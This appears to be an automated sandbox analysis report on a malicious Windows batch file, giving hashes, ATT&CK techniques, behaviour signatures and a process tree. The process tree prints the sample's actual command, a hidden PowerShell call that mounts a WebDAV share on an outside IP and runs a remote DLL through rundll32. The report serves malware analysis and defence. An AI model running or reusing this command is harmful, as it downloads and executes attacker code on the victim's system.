94d49953087405c7217647ddbdbabc0ebe9b81f08b78bd1f19428d9a5d490fad

Analysis

max time kernel
106s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
13/07/2024, 13:22

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General

Target

45401207011619030.bat
Size

2KB
MD5

fa49fc3b6fc27d91af031bf4a49a372b
SHA1

82c299e7a0a08d9056b65c9388a66a79562be30f
SHA256

94d49953087405c7217647ddbdbabc0ebe9b81f08b78bd1f19428d9a5d490fad
SHA512

f44b472828e7c1df7831940b610d9a243e4a041020dd9663906f3f88e4427031faae18041417a99c0ff754f7ff6447c29c225b443277db3a2eda8f39345964fb

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3600	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3600	powershell.exe
3600	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3600	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3380	wordpad.exe
3380	wordpad.exe
3380	wordpad.exe
3380	wordpad.exe
3380	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3972 wrote to memory of 3380	3972	cmd.exe	84
PID 3972 wrote to memory of 3380	3972	cmd.exe	84
PID 3972 wrote to memory of 3600	3972	cmd.exe	87
PID 3972 wrote to memory of 3600	3972	cmd.exe	87
PID 3600 wrote to memory of 1632	3600	powershell.exe	89
PID 3600 wrote to memory of 1632	3600	powershell.exe	89
PID 3600 wrote to memory of 4760	3600	powershell.exe	90
PID 3600 wrote to memory of 4760	3600	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\45401207011619030.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3972
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4616.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3600
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:1632
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4616.dll,entry
    3⤵
    PID:4760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xxahbni5.i3r.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3600-9-0x0000018228310000-0x0000018228332000-memory.dmp

Filesize
136KB

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